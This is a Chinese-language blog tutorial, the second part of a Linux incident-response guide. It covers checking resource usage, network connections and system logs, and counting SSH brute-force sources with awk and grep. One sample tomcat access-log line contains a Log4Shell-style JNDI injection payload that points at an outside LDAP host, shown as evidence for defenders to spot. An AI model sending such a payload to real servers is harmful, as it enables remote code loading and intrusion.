Linux应急响应
上篇文章在此处
:
【Linux应急响应—上 】一文解明Linux应急响应(hw蓝队兄弟看这里):开机启动项排查、环境变量配置文件排查、威胁情报获取、ssh排查、定时任务排查、Rootkit排查
重要声明
文中技术只可用于安全技术研究,任何非法用途与作者无关,请勿用在生产环境安装测试rootkit。
linux应急响应
各项资源异常
进程是Linux当前正在处理的任务,当运行某个软件时将为其创建一个进程。
Ubuntu@test:~$ sudo ps -efcaux # 查看所有进程
...
www-data 97735 0.0 1.8 309560 65456 ? S Aug20 0:13 \_ phpfpm7.4
syslog 785 0.0 0.1 224492 5528 ? Ssl Aug17 0:03 rsyslogd
ntp 796 0.0 0.1 74632 4240 ? Ssl Aug17 0:13 ntpd
root 802 0.0 0.2 17176 8044 ? Ss Aug17 0:03 systemdlogind
root 816 0.0 0.2 12172 7436 ? Ss Aug17 0:04 sshd
root 126262 0.0 0.2 13920 8852 ? Ss 15:47 0:00 \_ sshd
ubuntu 126363 0.0 0.1 14052 6260 ? S 15:47 0:00 \_ sshd
ubuntu 126364 0.0 0.1 8276 5216 pts/0 Ss 15:47 0:00 \_bash
root 130670 0.0 0.1 9404 4752 pts/0 S 18:59 0:00
\_ sudo
root 130671 0.0 0.1 8260 4252 pts/0 S 18:59 0:00
\_ su
root 130672 0.0 0.1 7236 4056 pts/0 S 18:59 0:00
\_ bash
...
查找进程文件位置
Ubuntu@test:~$ sudo lsof -p 948 # 查看pid为948的进程详细信息
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
dockerd 948 root cwd DIR 8,2 4096 2 /
dockerd 948 root rtd DIR 8,2 4096 2 /
dockerd 948 root txt REG 8,2 95757512 2883867
/usr/bin/dockerd
dockerd 948 root mem-W REG 8,2 32768 2231986
/var/lib/docker/buildkit/cache.db
Ubuntu@test:~$ sudo ls -al /proc/948/exe # 查看pid为948的进程文件绝对路径
lrwxrwxrwx 1 root root 0 Aug 21 03:24 /proc/948/exe -> /usr/bin/dockerd
表1 进程符号链接参考
CPU排查
CPU也称为中央处理器、主处理器或单处理器,是执行计算机指令得关键部件,某服务器突然有一个进程占用的CPU远超平时,那么可能被植入了挖矿病毒。
排查话术:CPU是否远超平时居高不下,如果是的话那么可能被植入了挖矿病毒。
直接输入top命令:
Ubuntu@test:~$ ps -aux| sort -k3nr | head -10
root 12039 122 3.4 3554048 139720 ? Sl 08:18 0:02
/usr/local/jdk-17.0.3.1/bin/java -
Djava.util.logging.config.file=/usr/local/apache-tomcat10.0.22/conf/logging.properties -
Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -
Djdk.tls.ephemeralDHKeySize=2048 -
Djava.protocol.handler.pkgs=org.apache.catalina.webresources -
Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs=
-classpath /usr/local/apache-tomcat-10.0.22/bin/bootstrap.jar:/usr/local/apachetomcat-10.0.22/bin/tomcat-juli.jar -Dcatalina.base=/usr/local/apache-tomcat10.0.22 -Dcatalina.home=/usr/local/apache-tomcat-10.0.22 -
Djava.io.tmpdir=/usr/local/apache-tomcat-10.0.22/temp
org.apache.catalina.startup.Bootstrap start
...
内存
程序启动时会被系统读入内存,在执行的过程也不断的在内存中申请新的空间。
Ubuntu@test:~$ ps -aux | sort -k4nr | head -10 # 内存占用最高的是个进程
root 948 0.0 1.9 1308116 78424 ? Ssl 03:24 0:02
/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 859 0.0 1.2 1355640 51364 ? Ssl 03:24 0:14
/usr/bin/containerd
root 851 0.0 1.0 874552 42960 ? Ssl 03:24 0:01
/usr/lib/snapd/snapd
root 890 0.0 0.5 107916 20864 ? Ssl 03:24 0:00
/usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --
wait-for-signal
...
网络带宽
带宽也就是网速的最高上限,比如家里的100/M带宽,就是每秒100M的传输速度,带宽分为上行和下行对应着上传下载,某服务器上行流量比往常高出几倍时,说明在外发大量的数据重点检查是否为正常业务。
网络占用需要安装软件辅助,应急时大部分情况都不允许随意安装软件,这时候就需要和运维的网络沟通,从设备上看下流量情况。
Ubuntu@test:~$ sudo apt-get install iftop # centos使用 yum install iftop
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
iftop
0 upgraded, 1 newly installed, 0 to remove and 54 not upgraded.
Need to get 36.3 kB of archives.
After this operation, 95.2 kB of additional disk space will be used.
Get:1 http://cn.archive.ubuntu.com/ubuntu focal/universe amd64 iftop amd64
1.0~pre4-6build1 [36.3 kB]
Fetched 36.3 kB in 1s (24.6 kB/s)
Selecting previously unselected package iftop.
(Reading database ... 108839 files and directories currently installed.)
Preparing to unpack .../iftop_1.0~pre4-6build1_amd64.deb ...
Unpacking iftop (1.0~pre4-6build1) ...
Setting up iftop (1.0~pre4-6build1) ...
Processing triggers for man-db (2.9.1-1) ...
使用 iftop
命令分析网络时,需要指定网卡,一个生产机器服务器会有很多块网卡,有管理用的、业务用的或其它的,这时候要与运维沟通区分各个网卡的用途。
Ubuntu@test:~$ ip addr # ifconfig 查看所有网卡
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
link/ether 00:0c:29:23:3d:42 brd ff:ff:ff:ff:ff:ff
inet 192.168.111.133/24 brd 192.168.111.255 scope global dynamic ens33
valid_lft 941sec preferred_lft 941sec
inet6 fe80::20c:29ff:fe23:3d42/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN
group default
link/ether 02:42:76:f7:a7:4b brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-d9f18b6d603d: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue
state UP group default
link/ether 02:42:8b:93:c0:83 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-d9f18b6d603d
valid_lft forever preferred_lft forever
inet6 fe80::42:8bff:fe93:c083/64 scope link
valid_lft forever preferred_lft forever
10: veth6a9efeb@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue
master br-d9f18b6d603d state UP group default
link/ether 76:0d:b7:6b:56:10 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::740d:b7ff:fe6b:5610/64 scope link
valid_lft forever preferred_lft forever
Ubuntu@test:~$ sudo iftop -i ens33 -P # 指定ens33网卡,分析其流量
网络连接
服务器每发出和接收一个TCP/UDP请求都能看到连接(短时间内)。
netstat 命令:
-a 显示所有
-n 数字形式展示连接端口
-t 仅查看TCP连接情况
-u 仅查看UDP连接情况
-p 显示相关程序名
Ubuntu@test:~$ sudo netstat -antup # 我经常使用的一条命令,查看所有连接
roto Recv-Q Send-Q Local Address Foreign Address State
PID/Program name
tcp 0 0 127.0.0.1:60801 0.0.0.0:* LISTEN
1212/apache2
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
1066/mysqld
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
1/init
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
1502/nginx: master
tcp 0 0 10.0.4.16:53 0.0.0.0:* LISTEN
771/named
tcp 0 0 10.0.4.16:80 93.157.63.28:10959 SYN_RECV -
tcp 0 0 10.0.4.16:35322 169.254.0.55:5574 ESTABLISHED
1316/YDService
tcp 0 0 10.0.4.16:41805 192.112.36.4:53 TIME_WAIT -
tcp 0 0 10.0.4.16:35978 169.254.0.138:8186 ESTABLISHED
58593/tat_agent
tcp6 0 0 127.0.0.1:60800 :::* LISTEN
1580/java
tcp6 0 0 :::111 :::* LISTEN
1/init
...
表2 端口状态对照表
关闭进程
这里注意一下,关停服务后进程是否会”复活“,如果恶意进程被 kill 后重新启动,那么肯定有其它地方有自启动方法,继续排查守护进程、定时任务、系统配置、服务和系统文件。
Ubuntu@test:~$ sudo kill -9 1434
Linux系统日志排查
日志文件是记录l系统运行信息的文件,Linux系统内记载很多不同类型的日志,例如:
- Linux内核消息
- 登入事件
- 程序错误日志
- 软件安装信息
以上日志内记录系统内一些关键的信息,通过这些日志内记录的信息,可以帮助安全人员寻找到攻击者蛛丝马迹。作者整理了以下常见日志信息:
/var/log/dmesg 内核的一些信息。
/var/log/auth.log 此文件中包含系统授权信息,以及用户登录和使用的身份验证机制。
/var/log/boot.log 包含系统启动时记录的信息
/var/log/daemon.log 正在运行的各种系统后台守护程序将信息记录到此文件中。
/var/log/kern.log 包含内核记录的信息。有助于解决定制内核的故障。
/var/log/lastlog 显示所有用户的最近登录信息。这不是 ascii 文件。管理员可以使用 lastlog 命令查看此文件的内容。
/var/log/maillog 和 /var/log/mail.log 记录系统上运行的邮件服务器的信息。例如, sendmail将有关所有已发送项目的信息记录到此文件中。
/var/log/user.log 包含有关所有用户级日志的信息。
/var/log/Xorg.x.log 将来自x服务器的消息记录到此文件。
/var/log/btmp 此文件包含有关失败登录尝试的信息。使用最后一个命令查看btmp文件。例如,last-f/var/log/btmp|more。
/var/log/yum.log 包含使用yum安装包时记录的信息。在删除具有依赖项的包时,可以引用此文件。
/var/log/cron 每当cron守护程序(或anacron)启动cron作业时,它都会将有关cron作业的信息记
录在该文件中
/var/log/secure 包含与身份验证和授权权限相关的信息。例如,sshd在这里记录所有消息,包括登录失败。
/var/log/wtmp-wtmp 文件记录所有登录和注销。
/var/log/utmp-utmp 文件允许您发现有关当前使用系统的用户的信息。
/var/log/faillog 包含失败的用户登录尝试。使用faillog命令显示此文件的内容。
/var/log/httpd/ 包含apacheweb服务器access_log和error_log以及相关的虚拟主机日志(如果设置为在此处记录)。
/var/log/apache2 包含apache web服务器access_log和error_log以及相关的虚拟主机日志(如果设置为在此处记录)。
/var/log/conman/-conman 客户端的日志文件。conman连接由conmand守护进程管理的远程控制台。
/var/log/mail/ 此子目录包含来自邮件服务器的其他日志。例如,sendmail将收集的邮件统计信息存储在/var/log/mail/statistics文件中
/var/log/audit/ 包含由Linux审核守护程序(auditd)存储的日志信息。
/var/log/settroubleshoot/ SELinux使用settroublishootd(SE TroubleshootDaemon)来通知文件安全上下文中的问题,并将这些信息记录在此日志文件中。
/var/log/samba/ 包含samba存储的日志信息,用于将Windows连接到Linux。
/var/log/sa/ 包含sysstat包收集的每日sar文件。
以上的每个文件都演示一遍不太可能,这里重点是思路。如下案例:
登入验证日志
- 不知道日志的每一行是做什么的,去搜索
- 既然是登入验证肯定会有成功和失败,那么什么状态是成功或失败
- 除成功失败外是不是包含其它信息,如:用户名、登入来源IP地址
经过以上的几点思考,我在网上找到文章和命令
登入失败次数
Ubuntu@test:/var/log$ sudo grep "Failed password" auth.log | wc -l
登入成功
Ubuntu@test:/var/log$ sudo grep "password" auth.log | grep -v Failed | grep
-v Invalid
统计攻击者IP个数
Ubuntu@test:/var/log$ sudo awk '{if($6=="Failed"&&$7=="password")
{if($9=="invalid") {ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(ip in ips){print ip, ips[ip]}}' auth.* | wc -l
攻击次数排列,由高到低
Ubuntu@test:/var/log$ sudo awk '{if($6=="Failed"&&$7=="password") {if($9=="invalid")
{ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(ip in ips){print ip, ips[ip]}}' auth.* | sort -k2 -rn | head
41.214.134.201 18358
189.217.194.155 9994
218.39.177.111 4713
120.48.13.143 2179
36.138.66.177 1448
139.162.114.41 861
104.248.94.181 756
188.166.57.168 431
141.94.110.90 347
23.224.143.15 307
参考:
https://www.loggly.com/ultimate-guide/linux-logging-basics/
查找 ssh 暴力攻击:使用 awk、grep 等命令简单分析服务器
中间件日志
中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。
nginx
220.181.108.159 - - [01/Dec/2022:15:10:15 +0800] "GET / HTTP/1.1" 403 134 "-"
"Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko)
Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)"
apache
192.168.111.1 - - [01/Dec/2022:07:20:05 +0000] "GET /admin.php HTTP/1.1" 404 491
"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101
Firefox/108.0"
tomcat
192.168.111.1 - - [01/Dec/2022:08:28:25 +0000] "GET
/admin.jsp$%7Bjndi:ldap://2lnhn2.ceye.io%7D HTTP/1.1" 404 767
分析维度:
- 时间范围内IP访问量
- 时间范围内对某个页面的IP访问量
- 时间范围内IP访问错误数
- 关键字搜索
参考:
运维必备技能 WEB 日志分析